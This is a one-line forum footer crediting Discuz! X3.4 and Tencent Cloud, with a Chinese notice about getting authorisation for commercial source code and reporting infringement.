Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理